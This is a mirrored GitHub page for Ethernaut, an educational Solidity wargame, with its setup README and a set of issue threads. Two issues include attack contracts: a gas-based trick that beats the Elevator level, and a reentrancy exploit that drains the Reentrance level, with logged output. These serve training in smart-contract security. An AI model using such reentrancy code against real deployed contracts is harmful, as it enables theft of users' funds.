Giter Site home page Giter Site logo

ethernaut's Introduction

Ethernaut

Twitter Follow OpenZeppelin Forum

Ethernaut is a Web3/Solidity based wargame inspired by overthewire, to be played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks as levels. There can be an infinite number of levels and the game does not require to be played in any particular order.

Deployed Versions

You can find the current, official version at: ethernaut.openzeppelin.com

Install and Build

There are three components to Ethernaut that are needed to run/deploy in order to work with it locally:

  • Test Network - A testnet that is running locally, like ganache, hardhat network, geth, etc
  • Contract Deployment - In order to work with the contracts, they must be deployed to the locally running testnet
  • The Client/Frontend - This is a React app that runs locally and can be accessed on localhost:3000

In order to install, build, and run Ethernaut locally, follow these instructions:

  1. Be sure to use a compatible Node version. If you use nvm you can run nvm use at the root level to be sure to select a compatible version.

  2. Clone the repo and install dependencies:

    git clone [email protected]:OpenZeppelin/ethernaut.git
    yarn install
  3. Start deterministic rpc

    yarn network
  4. Import one of the private keys from the ganache-cli output to your Metamask wallet.

  5. Compile contracts

    yarn compile:contracts
  6. Set client/src/constants.js ACTIVE_NETWORK to NETWORKS.LOCAL

  7. Deploy contracts

    yarn deploy:contracts
  8. Start Ethernaut locally

    yarn start:ethernaut

Running locally (sepolia network)

The same as using the local network but steps 2, 3 and 6 are not necessary.

In this case, replace point 5 with: 5. Set client/src/constants.js ACTIVE_NETWORK to NETWORKS.SEPOLIA

Running tests

yarn test:contracts

Building

yarn build:ethernaut

Deploying

You will normally need to deploy it on a local network, for this you can just run yarn deploy:contracts and all the contracts will be deployed on your local node running on localhost:8545 and you will be able to check each level address in the deploy.local.json file.

To deploy the contracts on Sepolia, first set the ACTIVE_NETWORK variable in constants.js and then edit deploy.sepolia.json. This file keeps a history of all level and contract instances. To deploy a new instance, add an "x" entry to the array, like so:

{
  "0": "x",
  "1": "0x4b1d5eb6cd2849c7890bcacd63a6855d1c0e79d5",
  "2": "0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c",
  ...
},

Then run yarn deploy:contracts.

Contributing

Contributions and corrections are always welcome!

Please follow the Contributor's Guide if you would like to help out.

ethernaut's People

Contributors

0xbuenosaires avatar 0xfloop avatar 0xneves avatar agemanning avatar cairoeth avatar celiktepemurat avatar claubv23 avatar davidmitesh avatar dependabot[bot] avatar enckrish avatar ericnordelo avatar frangio avatar g-deps avatar gianfrancobazzani avatar github-actions[bot] avatar jithinks97 avatar ki-3 avatar kylriley avatar lorransutter avatar martriay avatar mattjaf avatar nczhu avatar ojuswizard avatar omsify avatar r4wd0g avatar renovate[bot] avatar spalladino avatar theethernaut avatar vdusart avatar xaler5 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ethernaut's Issues

Update Ethernaut to use ZeppelinOS

Three strong reasons to do this:

(1) Right now, if a bug is discovered in a level, the code needs to be fixed and the level re-deployed.

Ethernaut remembers which levels a player has passed, so this would mean that all history for a level is lost when it is re-deployed.

(2) Also, as Solidity matures, the levels will contain old code. It'd be nice to be able to update pragma versions on a level without losing history.

(3) And finally, newer levels will likely want to use newer dependencies like OpenZeppelin 2.x, which introduce breaking changes for contracts with old code. So, unless the code in these old contracts can be updated, Ethernaut's OpenZeppelin dependency has to remain at 1.x.

Review message for "metamaskKnownIssue"

I can see that the player is being asked to restart chrome in syncPlayerProgress... maybe the can choose to ignore syncing in such a case, instead of throwing such a harsh error?

King level broken? Passed it without any attempt of ethernaut reclaiming kingship

I've sent an 1.01 Ether transaction to the King contract, then submitted the level and it passed.

I think it might be broken - expected the submission to fail due to:

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

The 1.01 Eth tx: https://ropsten.etherscan.io/tx/0x7b1eda07bfcb6f2e0c02e6d79732a35dd7c39bd689dd371ba0f823b3f477d6d9

PS: great game! feels like a solidity & eth security crash course <3

Deployment does not create deploy.development.json

If you try to run npm run deploy:contracts without first creating deploy.development.json it will throw an error saying the file does not exist instead of trying to create it.

To reproduce just run rm ./gamedata/deploy.development.json and try run the deploy script again.

UI: Hide hints behind a spoiler

Currently, a lot of levels just slap giveaway hints right at your face. Hiding them behind a spoiler button will be a good tweak in my opinion. Might even add nested spoilers :)

High score board

If players were able to associate their address with an alias, we would be able to use the information to present some sort of high score page. The page would present some sort of high score board.

Something that could be useful is the Stats.js page, that is currently not being shown on the top menu bar, but is still reachable at: https://ethernaut.zeppelin.solutions/stats

This page collects on chain information about which levels have been completed by a player, or which players have completed a level. The highscore board could reuse some of this code and imitate the architecture, since it would be another Reactjs component.

It would be interesting to be able to associate a player to an alias via the cli, so that the page shows the alias when available and not just an obscure Ethereum address.

Also, regarding score, we could come up with some mechanism to count score. Perhaps considering level difficulty as a multiplier, or even counting the time that the player took to solve the level (resolution block - level instance creation block).

License?

Under which license is ethernaut published? Is it the same as for zeppelin-solidity?

This is relevant if you'd like to run your own public version.

Error creating ethernaut instance

Trying out the Hello Ethernaut level and creating a new instance fails. See console output below. I tried reloading/resetting/etc., but the error persists.

Chrome 69.0.3497.100 and MetaMask 4.16.0

٩(- ̮̮̃-̃)۶ Requesting new instance from level... <  < <<PLEASE WAIT>> >  >
^^.js:134 ⛏️ Sent transaction ⛏ https://ropsten.etherscan.io/tx/0x050a81377195c06cf6c78c5434907d69748f766c1630ca960b01b7f3520ca423
^^.js:134 ⛏️ Mined transaction ⛏ https://ropsten.etherscan.io/tx/0x050a81377195c06cf6c78c5434907d69748f766c1630ca960b01b7f3520ca423
^^.js:31 {tx: "0x050a81377195c06cf6c78c5434907d69748f766c1630ca960b01b7f3520ca423", receipt: {…}, logs: Array(1)}
^^.js:38 => Instance address0xb2a352d4a16515fea1a1418fed2b0740ddaa517c
contract.js:437 Uncaught (in promise) Error: Cannot create instance of Instance; no code at address 0xb2a352d4a16515fea1a1418fed2b0740ddaa517c
    at Object.callback (contract.js:437)
    at method.js:142
    at requestmanager.js:89
    at inpage.js:1
    at inpage.js:1
    at i (inpage.js:1)
    at inpage.js:1
    at inpage.js:1
    at u (inpage.js:1)
    at a (inpage.js:1)
(anonymous) @ contract.js:437
(anonymous) @ method.js:142
(anonymous) @ requestmanager.js:89
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
i @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
u @ inpage.js:1
a @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ ethutil.js:186
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
u @ inpage.js:1
a @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
u @ inpage.js:1
a @ inpage.js:1
(anonymous) @ inpage.js:1
t @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
u @ inpage.js:1
(anonymous) @ inpage.js:1
ze @ inpage.js:1
(anonymous) @ inpage.js:1
value @ inpage.js:1
(anonymous) @ inpage.js:1
n @ inpage.js:1
i @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
n @ inpage.js:1
i @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
u @ inpage.js:1
a @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
(anonymous) @ inpage.js:1
Promise.then (async)
n.then @ contract.js:443
(anonymous) @ loadLevelInstance.js:67
(anonymous) @ loadEthernautContract.js:6
(anonymous) @ loadGamedata.js:5
dispatch @ applyMiddleware.js:45
(anonymous) @ loadLevelInstance.js:44
Promise.then (async)
(anonymous) @ loadLevelInstance.js:39
(anonymous) @ loadEthernautContract.js:6
(anonymous) @ loadGamedata.js:5
(anonymous) @ bindActionCreators.js:7
onClick @ Level.js:85
r @ ReactErrorUtils.js:24
s @ EventPluginUtils.js:83
o @ EventPluginUtils.js:106
f @ EventPluginHub.js:41
m @ EventPluginHub.js:52
n @ forEachAccumulated.js:22
processEventQueue @ EventPluginHub.js:252
r @ ReactEventEmitterMixin.js:15
handleTopLevel @ ReactEventEmitterMixin.js:25
a @ ReactEventListener.js:70
perform @ Transaction.js:141
batchedUpdates @ ReactDefaultBatchingStrategy.js:60
a @ ReactUpdates.js:95
dispatchEvent @ ReactEventListener.js:145

Failed to create instance - Unhandled promise rejection

Sometime it failed to create the instance with error:
Unhandled promise rejection,Error: Cannot create instance of GatekeeperTwo; no code at address...

In Firefox:
screen shot 2018-10-26 at 12 43 39 pm

In Chrome:
screen shot 2018-10-26 at 12 49 05 pm

The contract is created with an address, but the FIrefox/Chrome console cannot read it.

For this example in Gatekeeper Two:
https://ropsten.etherscan.io/address/0xb7ebf9d78040a68a91c95ba38f8fd1ab921fbbf5

Some levels are able to create in first try, some levels (King, Gatekeeper Two) need try 3+ times until success.

Create "Sagas"

All the levels provided so far, and in the context of devcon3 could be grouped into a general "basics" saga.

New sagas could be introduced that explore particular aspects of the EVM, such as memory, calldata, or storage usage.

The grouping could be static or tag-based, so that a level can appear in more than one saga.

writing development deploy addresses to gamedata.json causes merge conflicts

When a level is deployed during development, a level's "deployment_development" member is written to. "deployment_ropsten" is supposed to be unique but "deployment_development" is not, and is currently causing merge conflicts.

Consider extracting development deployment addresses to a separate file that can be gitignored.

[minor fix] Clearer instructions for lvl 19

Hey @ajsantander ,

Loved this level, but was tripped up for ~1 hour by the instructions to "return 42".

I thought you wanted us to return the uint 42 (0x2a), i.e. answer to universe, life, everything.
And was only able to pass after guessing you were checking for 0x42 😂

Possible to make instructions clearer? Thanks again~

Found another soluation for Elevator(without modify state)

I pass the Elevator by another solution without modify the state, so it is possible for one to pass something like "Elevator" through the function will not change the state. Here is my code(not the original code published on ROPSTEN) and instance

pragma solidity ^0.4.0;
contract GET {
    address addr;
    uint256 gasAmount = 100361;
    function GET() public {
        addr = 0x3359cdfc05ee2569458f6b6f52e721776cb5205e; //instance address
    }
    
    function isLastFloor(uint256 amount) public view returns(bool) {
        if (gasleft() > amount) {
            return true;
        } else {
            return false;
        }
    }
    
    // You can pass a amount between gasleft() first and gasleft() sencond
    // It will also pass the Elevator
    function send(uint256 amount) public {
        addr.gas(gasAmount).call(bytes4("goTo(uint256)"), amount);
    }
}

Instance Address: 0x3359cdfc05ee2569458f6b6f52e721776cb5205e
Success Tx Hash: 0xf367b6daaa9ffb2fbe830f25ddcce47b75e547ffc6cb6bec91b3b35d1936cc71
Contract Address: 0x0BfAFDB9E0eBC4CBB58c5AC34b4F83c0368F0b17;(original code lost of not saving)

In order to get the right amount, you can use "geth debugtrace" tools on ropsten.etherscan.io.
Any thought about this.

re-entrancy is not sending ether when calling the withdraw function

Reentrancy. As far as I can tell I must abuse the fact that withdraw sends money before decreasing the msg.sender balance.

I created the following contract to do so.

contract ReentrancySol {
    
    Reentrance r;
    
    function attack(address p) public payable {
        r = Reentrance(p);
        uint val = msg.value;
        emit balances(address(this).balance, address(r).balance, r.balanceOf(address(this)));
        r.donate.value(val)(address(this));
        emit balances(address(this).balance, address(r).balance, r.balanceOf(address(this)));
        r.withdraw(val);
        emit balances(address(this).balance, address(r).balance, r.balanceOf(address(this)));
    }
    
    function fin() public {
        msg.sender.transfer(address(this).balance);
    }
    
    event balances(uint this_bal, uint p_bal, uint s_bal);
    function () public payable {
        emit balances(address(this).balance, address(r).balance, msg.value);
        r.withdraw(msg.value);
    }
}

I couldn't reduce the balance to zero so I copy pasted the code from the example, deployed it and tested my solution against that deployment and it worked.

The two "possibly-broken" instances can be found on ropsten at addresses:

"0x5988ebddba7902a11ed1d49149beacbf1b289921"

"0xe58be13cab8d2acf0e34122be479606100710532"

From the events I included in my solution it looks like the withdraw function from the above addresses reduces the balance of the caller but never actually sends the funds.

For example my last run emitted the following events

[
	{
		"from": "0x067e199beae08d2142ab97e5d77b80b42d2020cc",
		"topic": "0xec1755815c979b26f7aae33a09175d2f4fa82c802354e2c2ec79d20732029c0a",
		"event": "balances",
		"args": {
			"0": "1000000000000000000",
			"1": "2000000000000000000",
			"2": "0",
			"this_bal": "1000000000000000000",
			"p_bal": "2000000000000000000",
			"s_bal": "0",
			"length": 3
		}
	},
	{
		"from": "0x067e199beae08d2142ab97e5d77b80b42d2020cc",
		"topic": "0xec1755815c979b26f7aae33a09175d2f4fa82c802354e2c2ec79d20732029c0a",
		"event": "balances",
		"args": {
			"0": "0",
			"1": "3000000000000000000",
			"2": "1000000000000000000",
			"this_bal": "0",
			"p_bal": "3000000000000000000",
			"s_bal": "1000000000000000000",
			"length": 3
		}
	},
	{
		"from": "0x067e199beae08d2142ab97e5d77b80b42d2020cc",
		"topic": "0xec1755815c979b26f7aae33a09175d2f4fa82c802354e2c2ec79d20732029c0a",
		"event": "balances",
		"args": {
			"0": "0",
			"1": "3000000000000000000",
			"2": "0",
			"this_bal": "0",
			"p_bal": "3000000000000000000",
			"s_bal": "0",
			"length": 3
		}
	}
]

Update to latest OpenZeppelin version

Current dependency is fixed at 1.6.0 because later versions of OpenZeppelin introduce breaking changes for levels that were deployed using older versions. Levels must be upgradeable before this change is made.

See #94

Add support for other languages

Ethernaut should be available in other languages like Spanish or Chinese so that non-english speaking members of the community can have access to the resource.

This issue specifically refers to functionality and NOT content, i.e. just the dapp's generic ability to localize content and not the content in other specific languages itself.

The feature should allow to localize level description markdown flles as well as website elements such as titles, buttons, etc.

Ideally, all non-markdown localizations should be contained on a single localization mapping file.

The UI should include a button that allows a user to change the active language, and it should automatically detect the user's language.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.